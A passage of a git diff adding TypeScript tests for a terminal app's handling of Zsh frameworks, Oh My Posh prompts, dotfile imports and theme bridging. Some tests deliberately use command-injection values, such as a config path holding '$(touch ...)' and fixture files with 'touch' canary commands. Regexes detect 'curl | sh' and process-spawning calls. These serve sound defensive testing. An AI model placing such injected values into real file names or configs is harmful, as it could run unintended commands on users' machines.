readFileSync, realpathSync, rmSync, writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {dirname, join} from 'node:path'; +import {detectTool, knownToolForExecutable, suggestibleToolFor, toolInstall, TOOLS} from '../src/tools/catalog.js'; +import {detectOhMyZsh, detectPowerlevel10kTool, detectPrezto, detectZim, detectZinit, detectAntidote, OH_MY_ZSH_INSTALL, previousZshrc} from '../src/tools/frameworks.js'; +import {ohMyZshKey, openGuidedInstall, openPrevious, renderOhMyZshView, snapshotZshrc, verifyInstall, type OhMyZshView} from '../src/tools/OhMyZshView.js'; +import {createToolsPanel, renderTools, toolBadges, toolsKey, toolStatusLine} from '../src/tools/ToolsPanel.js'; +import {detectPowerlevel10k, powerlevel10kThemeCandidates} from '../src/prompt/powerlevel10k.js'; +import {detectOhMyPosh, ohMyPoshArgs, OH_MY_POSH_OUTPUT_LIMIT, renderOhMyPoshPrompt} from '../src/prompt/ohMyPosh.js'; +import {normalizePromptConfiguration} from '../src/prompt/configuration.js'; +import {selectProvider} from '../src/providers/families.js'; +import {scanDotfiles, type ScanResult} from '../src/dotfiles/scan.js'; +import {applyPlan, buildPlan} from '../src/dotfiles/plan.js'; +import {readThemeImport} from '../src/appearance/ThemeStudio.js'; +import {resolveConfigRequest} from '../src/ask/configActions.js'; +import {stripAnsi} from '../src/util/text.js'; + +const sandbox = () => { + const root = mkdtempSync(join(tmpdir(), 'nmsh-frameworks-')); + const home = join(root, 'home'); + mkdirSync(home); + const put = (path: string, text = '') => { mkdirSync(dirname(path), {recursive: true}); writeFileSync(path, text); return path; }; + return {root, home, put, env: {HOME: home, PATH: '/usr/bin:/bin'} as NodeJS.ProcessEnv, done: () => rmSync(root, {recursive: true, force: true})}; +}; +const omzTree = (put: (path: string, text?: string) => string, root: string) => { + put(join(root, 'oh-my-zsh.sh'), '# loader\n'); + put(join(root, 'lib', 'git.zsh')); + put(join(root, 'themes', 'robbyrussell.zsh-theme')); +}; +const tool = (id: string) => TOOLS.find(item => item.id === id)!; +const enter = {kind: 'enter'} as const; + +test('Oh My Zsh: default and $ZSH roots need the real layout; a same-named directory is not enough; never a command', async () => { + const box = sandbox(); + try { + mkdirSync(join(box.home, '.oh-my-zsh')); + assert.equal(detectOhMyZsh(box.env), undefined, 'an empty ~/.oh-my-zsh is not an installation'); + omzTree(box.put, join(box.home, '.oh-my-zsh')); + assert.deepEqual(detectOhMyZsh(box.env), {path: join(box.home, '.oh-my-zsh')}); + const custom = join(box.root, 'frameworks', 'omz'); + omzTree(box.put, custom); + assert.deepEqual(detectOhMyZsh({...box.env, ZSH: custom}), {path: custom, source: '$ZSH'}); + assert.deepEqual(detectOhMyZsh({...box.env, ZSH: 'relative/omz'}), {path: join(box.home, '.oh-my-zsh')}, 'a relative $ZSH is not trusted'); + assert.equal((await detectTool(tool('oh-my-zsh'), box.env)).state, 'installed'); + assert.equal(knownToolForExecutable('oh-my-zsh'), undefined, 'not a command: no command-not-found identity'); + assert.equal(suggestibleToolFor('oh-my-zsh'), undefined); + assert.equal(toolInstall(tool('oh-my-zsh'), true, 'darwin'), undefined, 'no package recipe'); + } finally { box.done(); } +}); + +test('/tools: Zsh frameworks stay visible under Bash/Fish as "Zsh only"; prompt providers show the canonical state', () => { + const state = createToolsPanel(); + state.statuses['oh-my-zsh'] = {state: 'installed', detail: '/h/.oh-my-zsh'}; + state.statuses.prezto = {state: 'missing'}; + state.statuses['oh-my-posh'] = {state: 'installed', version: '31.4.1'}; + state.shellBackend = 'bash'; + state.prompt = {selected: 'ohMyPosh', effective: 'ohMyPosh'}; + assert.equal(toolStatusLine(state, tool('oh-my-zsh')), 'Installed · Zsh framework · used by Zsh only'); + assert.equal(toolStatusLine(state, tool('prezto')), 'Not installed · Zsh only'); + assert.equal(toolStatusLine(state, tool('oh-my-posh')), 'Installed · Active prompt provider'); + assert.ok(toolBadges(state, tool('oh-my-zsh')).includes('Zsh only')); + state.prompt = {selected: 'nmsh', effective: 'nmsh'}; + assert.equal(toolStatusLine(state, tool('oh-my-posh')), 'Installed · Prompt provider'); + // No meaningless Configure / Install / Uninstall for a detected-only framework. + state.detail = tool('prezto'); + const detail = renderTools(state, 120, 40).map(stripAnsi).join('\n'); + assert.doesNotMatch(detail, /C configure|I install|X uninstall/u); + toolsKey(state, {kind: 'text', value: 'i'}); + assert.match(state.message!, /does not install or remove Prezto; it is detected only/u); +}); + +test('other frameworks: only documented, structural signals', () => { + const box = sandbox(); + try { + assert.equal(detectPrezto(box.env), undefined); + box.put(join(box.home, '.zprezto', 'init.zsh')); + mkdirSync(join(box.home, '.zprezto', 'modules')); + assert.ok(detectPrezto(box.env)); + box.put(join(box.home, '.zim', 'zimfw.zsh')); + assert.ok(detectZim(box.env)); + mkdirSync(join(box.home, '.local', 'share', 'zinit', 'zinit.git'), {recursive: true}); + assert.equal(detectZinit(box.env), undefined, 'an empty zinit directory is not an installation'); + box.put(join(box.home, '.local', 'share', 'zinit', 'zinit.git', 'zinit.zsh')); + assert.ok(detectZinit(box.env)); + box.put(join(box.home, '.antidote', 'antidote.zsh')); + assert.ok(detectAntidote({...box.env, HOMEBREW_PREFIX: join(box.root, 'nobrew')})); + assert.equal(TOOLS.some(item => item.id === 'antigen'), false, 'Antigen has no stable install location, so it is not listed'); + } finally { box.done(); } +}); + +test('Powerlevel10k in /tools reuses the existing detector and names an Oh My Zsh custom-theme install', async () => { + const box = sandbox(); + try { + const theme = box.put(join(box.home, '.oh-my-zsh', 'custom', 'themes', 'powerlevel10k', 'powerlevel10k.zsh-theme')); + const env = {...box.env, HOMEBREW_PREFIX: join(box.root, 'nobrew')}; + const existing = detectPowerlevel10k(env, box.home, powerlevel10kThemeCandidates(env, box.home).filter(path => path.startsWith(box.root))); + assert.equal(existing.themePath, theme); + const fact = detectPowerlevel10kTool(env, box.home); + if (fact?.path === theme) assert.equal(fact.source, 'via Oh My Zsh'); + assert.equal(tool('powerlevel10k').promptProvider, 'powerlevel10k'); + assert.equal(knownToolForExecutable('powerlevel10k'), undefined); + const panel = createToolsPanel(); + panel.statuses.powerlevel10k = {state: 'installed'}; + panel.detail = tool('powerlevel10k'); + assert.equal(toolsKey(panel, {kind: 'text', value: 'a'}), 'usePrompt', 'Use as prompt goes to the canonical provider setting'); + assert.equal(toolsKey(panel, {kind: 'text', value: 'c'}), 'p10kConfigure', 'Configure routes to the existing p10k configurator flow'); + const config = selectProvider(normalizePromptConfiguration({}), 'prompt', 'powerlevel10k'); + assert.equal(config?.provider, 'powerlevel10k'); + } finally { box.done(); } +}); + +/** A fake oh-my-posh: records argv, cwd and TTY state; behavior switches on NMSH_FAKE_OMP. */ +function fakeOmp(root: string): {bin: string; log: string} { + const bin = join(root, 'bin'); + mkdirSync(bin, {recursive: true}); + const log = join(root, 'omp.log'); + writeFileSync(join(bin, 'oh-my-posh'), `#!/bin/sh +if [ "$1" = version ]; then echo 31.4.1; exit 0; fi +: > '${log}' +for arg in "$@"; do printf 'ARG:%s\\n' "$arg" >> '${log}'; done +printf 'CWD:%s\\n' "$(pwd)" >> '${log}' +if [ -t 0 ]; then echo TTY:yes >> '${log}'; else echo TTY:no >> '${log}'; fi +case "$NMSH_FAKE_OMP" in + sleep) sleep 10 ;; + flood) yes xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;; + fail) exit 3 ;; +esac +printf '\\033[38;2;10;20;30m~/repo\\033[0m \\033[48;2;1;2;3mmain\\033[0m\\nsecond' +`); + chmodSync(join(bin, 'oh-my-posh'), 0o755); + return {bin, log}; +} + +test('Oh My Posh provider: documented argv only, cwd and status as flags, config as argv data, no TTY, ANSI parsed', async () => { + const box = sandbox(); + try { + const {bin, log} = fakeOmp(box.root); + const canary = join(box.root, 'PWNED'); + const hostileConfig = box.put(join(box.root, `cfg $(touch ${canary}) ;x`, 'my theme.omp.json'), '{}'); + const env = {...box.env, PATH: `${bin}:/usr/bin:/bin`, POSH_CONFIG: '/ignored/by/argv.json'}; + const status = await detectOhMyPosh(hostileConfig, env); + assert.deepEqual([status.installed, status.version, status.configSource, status.configExists], [true, '31.4.1', 'nmsh', true]); + const cwd = join(box.root, 'work dir'); + mkdirSync(cwd); + const result = await renderOhMyPoshPrompt({cwd, project: 'w', exitStatus: 1}, status, env); + const lines = readFileSync(log, 'utf8').trim().split('\n'); + assert.deepEqual(lines.filter(line => line.startsWith('ARG:')).map(line => line.slice(4)), + ['print', 'primary', `--pwd=${cwd}`, '--status=1', '--terminal-width=200', '--escape=false', `--config=${hostileConfig}`]); + assert.ok(lines.includes(`CWD:${realpathSync(cwd)}`) || lines.includes(`CWD:${cwd}`), lines.join('\n')); + assert.ok(lines.includes('TTY:no'), 'never given a TTY'); + assert.equal(existsSync(canary), false, 'the config path is data, never shell text'); + assert.equal(result.text, '~/repo main second'); + assert.equal(result.normalizedMultiline, true); + assert.deepEqual(result.segments[0]?.foreground, {red: 10, green: 20, blue: 30}); + assert.deepEqual(ohMyPoshArgs({cwd: '/x'}, {}), ['print', 'primary', '--pwd=/x', '--no-status', '--terminal-width=200', '--escape=false'], 'no status yet → --no-status; no config → built-in default'); + assert.deepEqual(readdirSync(box.home), [], 'no rc file or config was created'); + } finally { box.done(); } +}); + +test('Oh My Posh provider: timeout, output bound, cancellation and failure all reject truthfully', async () => { + const box = sandbox(); + try { + const {bin} = fakeOmp(box.root); + const env = {...box.env, PATH: `${bin}:/usr/bin:/bin`}; + const status = await detectOhMyPosh(undefined, env); + assert.equal(status.configSource, 'default'); + const context = {cwd: box.root, project: 'r', exitStatus: 0}; + const started = Date.now(); + await assert.rejects(renderOhMyPoshPrompt(context, status, {...env, NMSH_FAKE_OMP: 'sleep'}, {timeoutMs: 300}), /timed out/u); + assert.ok(Date.now() - started < 3000); + await assert.rejects(renderOhMyPoshPrompt(context, status, {...env, NMSH_FAKE_OMP: 'flood'}), new RegExp(`exceeded its limit`, 'u')); + assert.ok(OH_MY_POSH_OUTPUT_LIMIT <= 256 * 1024); + const controller = new AbortController(); + const pending = renderOhMyPoshPrompt(context, status, {...env, NMSH_FAKE_OMP: 'sleep'}, {signal: controller.signal}); + controller.abort(); + await assert.rejects(pending, /cancelled/u); + await assert.rejects(renderOhMyPoshPrompt(context, status, {...env, NMSH_FAKE_OMP: 'fail'}), /exited with 3/u); + await assert.rejects(renderOhMyPoshPrompt(context, {...status, installed: false, binary: undefined}, env), /not installed/u); + await assert.rejects(renderOhMyPoshPrompt(context, {...status, configPath: join(box.root, 'missing.json'), configExists: false}, env), /config not found/u); + } finally { box.done(); } +}); + +test('Oh My Posh: one canonical provider id; config path persists; curated core-formula install only', () => { + const config = normalizePromptConfiguration({provider: 'ohMyPosh', ohMyPosh: {configPath: '/c/theme.omp.json'}}); + assert.equal(config.provider, 'ohMyPosh'); + assert.equal(config.ohMyPosh.configPath, '/c/theme.omp.json'); + assert.equal(normalizePromptConfiguration({}).ohMyPosh.configPath, null); + assert.equal(selectProvider(normalizePromptConfiguration({}), 'prompt', 'ohMyPosh')?.provider, 'ohMyPosh'); + assert.equal(toolInstall(tool('oh-my-posh'), true, 'darwin')?.label, 'brew install oh-my-posh', 'homebrew/core formula; no custom tap'); + assert.equal(knownToolForExecutable('oh-my-posh')?.id, 'oh-my-posh'); +}); + +test('Oh My Posh selected but missing: NMSh Native is effective and the history snapshot says so; Prompt None unaffected', async () => { + const directory = mkdtempSync(join(tmpdir(), 'nmsh-omp-app-')); + const previous = {XDG_CONFIG_HOME: process.env.XDG_CONFIG_HOME, PATH: process.env.PATH}; + process.env.XDG_CONFIG_HOME = directory; + const {TerminalApp} = await import('../src/app/TerminalApp.js'); + const app = new TerminalApp(); + try { + app['context'] = {cwd: directory, project: 'p'}; + process.env.PATH = '/nonexistent-nmsh'; + app['promptConfiguration'].provider = 'ohMyPosh'; + await app['refreshProviderPrompt'](); + assert.equal(app['effectivePromptProvider'], 'nmsh'); + assert.match(app['externalPromptError'] ?? '', /not installed/u); + assert.equal(app['currentPromptSnapshot']('ls')?.provider, 'nmsh'); + const {bin} = fakeOmp(directory); + process.env.PATH = `${bin}:/usr/bin:/bin`; + app['promptConfiguration'].provider = 'ohMyPosh'; + await app['refreshProviderPrompt'](); + assert.equal(app['effectivePromptProvider'], 'ohMyPosh'); + assert.equal(app['currentPromptSnapshot']('ls')?.provider, 'ohMyPosh', 'history records the effective provider'); + app['promptConfiguration'].provider = 'none'; + await app['refreshProviderPrompt'](); + assert.equal(app['currentPromptSnapshot']('ls'), undefined, 'Prompt None stores no prompt'); + } finally { + process.env.PATH = previous.PATH; + if (previous.XDG_CONFIG_HOME === undefined) delete process.env.XDG_CONFIG_HOME; else process.env.XDG_CONFIG_HOME = previous.XDG_CONFIG_HOME; + app['stop'](0); + app['session'].kill(); + rmSync(directory, {recursive: true, force: true}); + } +}); + +test('Oh My Zsh guided install: NMSh never downloads or runs it; the safe settings are exact; snapshot and verify report changes', () => { + const box = sandbox(); + try { + for (const file of ['src/tools/frameworks.ts', 'src/tools/OhMyZshView.ts']) { + assert.doesNotMatch(readFileSync(file, 'utf8'), /child_process|fetch\(|https\.get|spawn|exec\(/u, `${file} cannot run or fetch anything`); + } + const steps = OH_MY_ZSH_INSTALL.steps({HOME: '/home/me', TMPDIR: '/tmp'}).join('\n'); + assert.doesNotMatch(steps, /\/tmp\//u, 'never a predictable file in a shared temp directory'); + assert.doesNotMatch(steps, /\|\s*(?:ba|z)?sh\b|sh -c "\$\(curl/u, 'no curl | sh'); + assert.match(steps, /^curl -fsSL -o '\/home\/me\/ohmyzsh-install\.sh' https:\/\/raw\.githubusercontent\.com\/ohmyzsh\/ohmyzsh\/master\/tools\/install\.sh$/mu, 'download to a file first'); + assert.match(steps, /^less /mu, 'inspect before running'); + assert.match(steps, /KEEP_ZSHRC=yes CHSH=no RUNZSH=no REPO=ohmyzsh\/ohmyzsh REMOTE=https:\/\/github\.com\/ohmyzsh\/ohmyzsh\.git BRANCH=master sh '\/home\/me\/ohmyzsh-install\.sh' --unattended --keep-zshrc/u); + + const zshrc = box.put(join(box.home, '.zshrc'), 'export EDITOR=vim\n'); + const view = openGuidedInstall(box.env) as Extract; + assert.match(renderOhMyZshView(view).rows.join('\n'), /will not run it for you/u); + ohMyZshKey(view, {kind: 'text', value: 'b'}); + assert.ok(view.snapshot?.sha256 && view.snapshot.backup && existsSync(view.snapshot.backup)); + assert.equal(readFileSync(view.snapshot.backup, 'utf8'), 'export EDITOR=vim\n'); + assert.equal(readFileSync(zshrc, 'utf8'), 'export EDITOR=vim\n', 'the original is not renamed or edited'); + + // The person runs a (fixture) installer that honours KEEP_ZSHRC. + omzTree(box.put, join(box.home, '.oh-my-zsh')); + ohMyZshKey(view, {kind: 'text', value: 'v'}); + assert.equal(view.unexpected, false); + assert.match(view.verified!.join('\n'), /Oh My Zsh found at .*\.oh-my-zsh\.[\s\S]*\.zshrc is unchanged/u); + + // A misbehaving installer rewrites .zshrc anyway: reported, never restored silently. + writeFileSync(zshrc, 'source $ZSH/oh-my-zsh.sh\n'); + writeFileSync(join(box.home, '.zshrc.pre-oh-my-zsh'), 'export EDITOR=vim\n'); + ohMyZshKey(view, {kind: 'text', value: 'v'}); + assert.equal(view.unexpected, true); + assert.match(renderOhMyZshView(view).rows.join('\n'), /! UNEXPECTED: .*\.zshrc changed although KEEP_ZSHRC=yes was requested\. Your backup is .*NMSh did not restore anything/u); + assert.match(view.verified!.join('\n'), /\.zshrc\.pre-oh-my-zsh exists/u); + assert.equal(readFileSync(zshrc, 'utf8'), 'source $ZSH/oh-my-zsh.sh\n'); + } finally { box.done(); } +}); + +test('previous zshrc: compare, default No changes nothing, restore backs up and replaces atomically, never merges', () => { + const box = sandbox(); + try { + assert.equal(previousZshrc(box.env), undefined); + const current = box.put(join(box.home, '.zshrc'), 'export ZSH=~/.oh-my-zsh\nsource $ZSH/oh-my-zsh.sh\n'); + const previous = box.put(join(box.home, '.zshrc.pre-oh-my-zsh'), 'alias ll="ls -l"\n'); + const view = openPrevious(box.env) as Extract; + const text = renderOhMyZshView(view).rows.join('\n'); + assert.match(text, /does not mean anything is wrong/u); + assert.match(text, /sha256 [0-9a-f]{16}…/u); + assert.match(text, /\+ alias ll="ls -l"/u); + assert.deepEqual(ohMyZshKey(view, {kind: 'text', value: 'e'}), {open: [current, previous]}); + ohMyZshKey(view, {kind: 'text', value: 'r'}); + assert.equal(view.confirm?.choice, 'no', 'restore starts on No'); + ohMyZshKey(view, enter); + assert.match(view.result!, /Cancelled\. Nothing was changed/u); + assert.equal(readFileSync(current, 'utf8'), 'export ZSH=~/.oh-my-zsh\nsource $ZSH/oh-my-zsh.sh\n'); + + ohMyZshKey(view, {kind: 'text', value: 'r'}); + ohMyZshKey(view, {kind: 'right'}); + ohMyZshKey(view, enter); + assert.match(view.result!, /Restored .* backed up at .*\.zshrc\.nmsh-backup-/u); + assert.equal(readFileSync(current, 'utf8'), 'alias ll="ls -l"\n', 'the previous file exactly; nothing merged'); + assert.ok(existsSync(previous), 'the previous file stays'); + const backup = readdirSync(box.home).find(name => name.startsWith('.zshrc.nmsh-backup-'))!; + assert.equal(readFileSync(join(box.home, backup), 'utf8'), 'export ZSH=~/.oh-my-zsh\nsource $ZSH/oh-my-zsh.sh\n'); + + // Changed since review: refused. + const again = openPrevious(box.env) as Extract; + writeFileSync(current, 'edited meanwhile\n'); + ohMyZshKey(again, {kind: 'text', value: 'r'}); + ohMyZshKey(again, {kind: 'right'}); + ohMyZshKey(again, enter); + assert.match(again.result!, /changed since review; nothing was written/u); + assert.equal(readFileSync(current, 'utf8'), 'edited meanwhile\n'); + } finally { box.done(); } +}); + +test('dotfiles: OMZ, p10k and Oh My Posh files are inspect-only; OMP gets no exact copy; Theme Studio import stays static', () => { + const box = sandbox(); + try { + const repo = join(box.root, 'repo'); + const canary = join(box.root, 'PWNED'); + box.put(join(repo, '.zshrc'), `export ZSH=$HOME/.oh-my-zsh\nZSH_THEME=agnoster\nplugins=(git)\nsource $ZSH/oh-my-zsh.sh\ntouch ${canary}\n`); + box.put(join(repo, '.zshrc.pre-oh-my-zsh'), `touch ${canary}\n`); + box.put(join(repo, '.oh-my-zsh', 'custom', 'themes', 'mine.zsh-theme'), `PROMPT='$(touch ${canary})%~ '\n`); + box.put(join(repo, '.p10k.zsh'), `typeset -g POWERLEVEL9K_MODE=nerdfont-v3\ntouch ${canary}\n`); + box.put(join(repo, 'posh', 'a.omp.json'), JSON.stringify({extends: 'https://example.invalid/remote.omp.json', palette: {accent: '#ff0000'}, + blocks: [{type: 'prompt', segments: [{type: 'path', background: '#224466', foreground: '#ffffff', template: '{{ .Path }}'}, {type: 'command', properties: {command: `touch ${canary}`}, template: '{{ .Env.HOME }}', background: 'p:accent', foreground: '#ffffff'}]}]})); + box.put(join(repo, 'posh', 'b.omp.yaml'), 'blocks:\n - type: prompt\n segments:\n - type: path\n background: "#112233"\n foreground: "#ffffff"\n'); + box.put(join(repo, 'posh', 'c.omp.toml'), `[[blocks]]\ntype = "prompt"\n[[blocks.segments]]\ntype = "command"\nbackground = "#334455"\nforeground = "#ffffff"\ntemplate = "{{ .Shell }}"\n[blocks.segments.properties]\ncommand = "touch ${canary}"\n`); + const scan = scanDotfiles(repo) as ScanResult; + const by = (path: string) => scan.found.find(file => file.repoPath === path)?.tool.id; + assert.equal(by('.zshrc'), 'zsh'); + assert.equal(by('.zshrc.pre-oh-my-zsh'), 'oh-my-zsh'); + assert.equal(by('.oh-my-zsh/custom/themes/mine.zsh-theme'), 'oh-my-zsh'); + assert.equal(by('.p10k.zsh'), 'powerlevel10k'); + for (const path of ['posh/a.omp.json', 'posh/b.omp.yaml', 'posh/c.omp.toml']) assert.equal(by(path), 'oh-my-posh', path); + const items = buildPlan(scan, box.env); + for (const item of items) { + assert.deepEqual(item.modes, ['skip'], `${item.file.repoPath}: ${item.note}`); + assert.notEqual(item.kind, 'copy'); + item.mode = 'copy'; + } + assert.match(items.find(item => item.file.repoPath === 'posh/a.omp.json')!.note, /Inspect only: .*never copied\. Import its static colors/u); + assert.ok(applyPlan(items, box.env).every(line => /no exact-copy authority/u.test(line))); + assert.deepEqual(readdirSync(box.home), [], 'nothing was written'); + + const imported = readThemeImport(join(repo, 'posh', 'a.omp.json'), repo, 'auto'); + assert.ok(!('errors' in imported), JSON.stringify(imported)); + if (!('errors' in imported)) { + assert.ok(imported.warnings.some(warning => /never fetched or merged/u.test(warning)), 'remote extends are not followed'); + assert.ok(imported.warnings.some(warning => /templates are not imported/u.test(warning))); + } + readThemeImport(join(repo, 'posh', 'c.omp.toml'), repo, 'auto'); + assert.equal(existsSync(canary), false, 'nothing ran during scan, plan, apply or import'); + } finally { box.done(); } +}); + +test('Ask: framework requests map onto facts, /tools views or a typed provider switch; never a shell command', () => { + const box = sandbox(); + try { + const ask = (text: string) => resolveConfigRequest(text, box.env) as {kind: string; text: string; action?: {kind: string; tool?: string; view?: string; setting?: string; value?: string}} | undefined; + assert.match(ask('is oh my zsh installed')!.text, /^No\./u); + omzTree(box.put, join(box.home, '.oh-my-zsh')); + assert.match(ask('is oh my zsh installed')!.text, /^Yes\. Oh My Zsh is installed at .*Zsh only/u); + assert.deepEqual([ask('install oh my zsh safely')!.action?.kind, ask('install oh my zsh safely')!.action?.view], ['toolView', 'guided']); + assert.match(ask('what happened to my old zshrc')!.text, /no \.zshrc\.pre-oh-my-zsh/u); + box.put(join(box.home, '.zshrc.pre-oh-my-zsh'), 'x\n'); + for (const request of ['what happened to my old zshrc', 'show my pre oh my zsh config', 'restore my previous zshrc']) { + assert.deepEqual([ask(request)!.action?.kind, ask(request)!.action?.view], ['toolView', 'previous'], request); + } + assert.deepEqual([ask('use oh my posh as my prompt')!.action?.setting, ask('use oh my posh as my prompt')!.action?.value], ['prompt', 'ohMyPosh']); + assert.equal(ask('import my oh my posh theme into nmsh')!.action?.view, 'importAppearance'); + assert.equal(ask('configure powerlevel10k')!.action?.view, 'p10kConfigure'); + assert.deepEqual([ask('use powerlevel10k')!.action?.setting, ask('use powerlevel10k')!.action?.value], ['prompt', 'powerlevel10k']); + const install = ask('install oh my posh'); + assert.ok(install?.action?.kind === 'installTool' || install?.action?.kind === 'toolView', JSON.stringify(install)); + for (const request of ['install oh my zsh safely', 'restore my previous zshrc', 'use oh my posh as my prompt']) { + assert.doesNotMatch(JSON.stringify(ask(request)), /curl|\| ?sh|chsh|argv/u, request); + } + } finally { box.done(); } +}); diff --git a/tests/shellSwitchApp.test.ts b/tests/shellSwitchApp.test.ts index 7a663827..bcadd67b 100644 --- a/tests/shellSwitchApp.test.ts +++ b/tests/shellSwitchApp.test.ts @@ -13,9 +13,11 @@ import {SemanticService} from '../src/shell/SemanticService.js'; const available = ['fish', 'bash'].every(id => shellAdapter(id as 'fish' | 'bash').resolveExecutable(process.env)); const alive = (pid: number) => { try { process.kill(pid, 0); return true; } catch { return false; } }; +let diagnose: () => string = () => ''; + async function until(check: () => boolean, timeoutMs = 15000): Promise { const deadline = Date.now() + timeoutMs; - while (!check()) { if (Date.now() > deadline) throw new Error('condition not reached'); await new Promise(resolve => setTimeout(resolve, 25)); } + while (!check()) { if (Date.now() > deadline) throw new Error(`condition not reached\n${diagnose()}`); await new Promise(resolve => setTimeout(resolve, 25)); } } function transcript(app: TerminalApp): string { @@ -30,6 +32,12 @@ test('app hot swap: zsh → fish → bash → zsh keeps draft, transcript and cw const app = new TerminalApp({client, mode: 'in-process', shell: 'zsh'}); Object.defineProperty(app, 'render', {value: () => {}}); Object.defineProperty(app, 'dimensions', {value: () => ({columns: 100, rows: 30})}); + diagnose = () => { + const shell = (client as unknown as {shell: {pid?: number; isReady?: boolean; startupRaw?: string}}).shell; + return JSON.stringify({shellId: app['shellId'], pid: shell.pid, alive: shell.pid ? alive(shell.pid) : false, isReady: shell.isReady, + switchedShellStarting: app['switchedShellStarting'], startupPending: app['startupPending'], running: Boolean(app['running']), + startupRaw: shell.startupRaw?.slice(-1500), transcript: transcript(app).slice(-1500)}, null, 1); + }; try { client.start(); await until(() => app['shellCwd'] === cwd && !app['running']); diff --git a/tests/streamBacklog.test.ts b/tests/streamBacklog.test.ts index 843d39fb..159bd670 100644 --- a/tests/streamBacklog.test.ts +++ b/tests/streamBacklog.test.ts @@ -57,6 +57,22 @@ test('past the spool limit output is dropped with a count; command boundaries ar rmSync(dir, {recursive: true, force: true}); }); +test('prompt metadata (a large alias/function list) never consumes the output budget', () => { + const dir = scratch(); + const backlog = new StreamBacklog(join(dir, 's.jsonl'), {memoryBytes: 10, spoolBytes: 200}); + // Ubuntu's global compinit puts hundreds of autoload names in each prompt's knowledge. + const knowledge = 'function _x\n'.repeat(1000); + backlog.append({kind: 'prompt', seq: 1, at: 1, exitCode: 0, cwd: '/w', knowledge}); + backlog.append({kind: 'exec', seq: 2, at: 2, command: 'seq 1 50'}); + backlog.append(output(3, 'o'.repeat(200))); + backlog.append({kind: 'prompt', seq: 4, at: 4, exitCode: 0, cwd: '/w', knowledge}); + assert.equal(backlog.truncatedBytes, 0, 'output within the limit is complete'); + assert.deepEqual(backlog.events().map(event => event.kind), ['prompt', 'exec', 'output', 'prompt']); + backlog.append(output(5, 'z'.repeat(20))); + assert.equal(backlog.truncatedBytes, 20, 'the output cap still holds'); + rmSync(dir, {recursive: true, force: true}); +}); + test('a spool torn by a crash mid-write reads back as its complete records', () => { const dir = scratch(); const path = join(dir, 's.jsonl'); diff --git a/tests/themeBridge.test.ts b/tests/themeBridge.test.ts new file mode 100644 index 00000000..72d603c6 --- /dev/null +++ b/tests/themeBridge.test.ts @@ -0,0 +1,385 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {spawnSync} from 'node:child_process'; +import {existsSync, mkdirSync, mkdtempSync, readdirSync, readFileSync, rmSync, writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {DEFAULT_PROMPT_CONFIGURATION, normalizePromptConfiguration, type PromptConfiguration} from '../src/prompt/configuration.js'; +import {addTheme, setActiveTheme} from '../src/appearance/themeLibraryActions.js'; +import {assetRef, builtinTheme} from '../src/appearance/themeRefs.js'; +import {paletteFromTheme, resolveSemanticPalette} from '../src/appearance/semanticPalette.js'; +import {anyBridgeTargetActive, BRIDGE_TARGETS, effectiveMode, normalizeThemeBridge, type BridgeTargetId} from '../src/themeBridge/model.js'; +import { + BRIDGE_ENV_VARIABLES, bridgeBootstrap, bridgeEnvPath, fishLiteral, posixAnsiQuote, renderEnvironmentFile, validateEnvironmentFile, writeEnvironmentFiles, +} from '../src/themeBridge/environment.js'; +import { + fzfColorArgs, lsColorsFallback, neovimColorscheme, pagerEnvironment, tmuxFragment, validateNeovimColorscheme, validateTmuxFragment, + validateVimColorscheme, vimColorscheme, withFzfTheme, TMUX_STYLE_OPTIONS, +} from '../src/themeBridge/targets.js'; +import { + applyHook, applyHookRemoval, artifactPath, hookSpec, ledgerPath, loadLedger, ownership, planHook, planHookRemoval, removeArtifact, writeArtifact, +} from '../src/themeBridge/artifacts.js'; +import {applyThemeBridge, bridgeColorLevel, bridgeEnvironment, fzfBridgeArgs, reloadTmux, reportTargets, type BridgeContext, type TargetFacts} from '../src/themeBridge/runtime.js'; +import {themeBridgeKey} from '../src/themeBridge/runtime.js'; +import {writeTmuxManaged} from '../src/tools/config/tmuxManaged.js'; +import {DEFAULT_TMUX_MODEL} from '../src/tools/config/tmux.js'; + +const installed = (...targets: BridgeTargetId[]): Record => + Object.fromEntries(BRIDGE_TARGETS.map(target => [target, {installed: targets.includes(target), ...(target === 'fzf' ? {version: '0.74.4 (brew)'} : {})}])) as Record; + +function sandbox(): {env: NodeJS.ProcessEnv; home: string; root: string; done: () => void} { + const root = mkdtempSync(join(tmpdir(), 'nmsh-bridge-')); + const home = join(root, 'home'); + mkdirSync(home); + return {root, home, env: {HOME: home, XDG_CONFIG_HOME: join(root, 'config'), PATH: ''}, done: () => rmSync(root, {recursive: true, force: true})}; +} + +function configWith(targets: Partial>, active = 'builtin:lavender'): PromptConfiguration { + const config = normalizePromptConfiguration({...structuredClone(DEFAULT_PROMPT_CONFIGURATION), themeBridge: {enabled: true, targets}}); + const set = setActiveTheme(config, active); + assert.ok(set.ok); + return set.config; +} + +const context = (config: PromptConfiguration, env: NodeJS.ProcessEnv, facts = installed(...BRIDGE_TARGETS)): BridgeContext => ({source: config, facts, level: 'truecolor', env}); + +test('defaults: every target Independent, the switch Off, and Independent injects nothing at all', () => { + const config = normalizePromptConfiguration({}); + assert.equal(config.themeBridge.enabled, false); + assert.ok(BRIDGE_TARGETS.every(target => config.themeBridge.targets[target].mode === 'independent')); + assert.equal(anyBridgeTargetActive(config.themeBridge), false); + const env = {PATH: ''}; + assert.deepEqual(bridgeEnvironment(context(config, env)), {}); + assert.deepEqual(fzfBridgeArgs(context(config, env)), []); + // Choices are kept while the switch is Off, but nothing is in effect. + const off = normalizePromptConfiguration({themeBridge: {enabled: false, targets: {fzf: {mode: 'follow'}}}}); + assert.equal(off.themeBridge.targets.fzf.mode, 'follow'); + assert.equal(effectiveMode(off.themeBridge, 'fzf'), 'independent'); + assert.deepEqual(fzfBridgeArgs(context(off, env)), []); + // Malformed settings read as Independent; Choose without a reference has nothing to pin. + const malformed = normalizeThemeBridge({enabled: true, targets: {fzf: {mode: 'sideways'}, tmux: {mode: 'choose'}, vim: 'x', bogus: {mode: 'follow'}}}); + assert.equal(malformed.targets.fzf.mode, 'independent'); + assert.equal(malformed.targets.tmux.mode, 'independent'); + assert.equal(normalizeThemeBridge({targets: {fzf: {mode: 'follow'}}}).enabled, true, 'pre-switch configs with active targets read as On'); +}); + +test('Follow tracks the active theme; Choose stays pinned; different targets use different themes at once', () => { + let config = configWith({fzf: 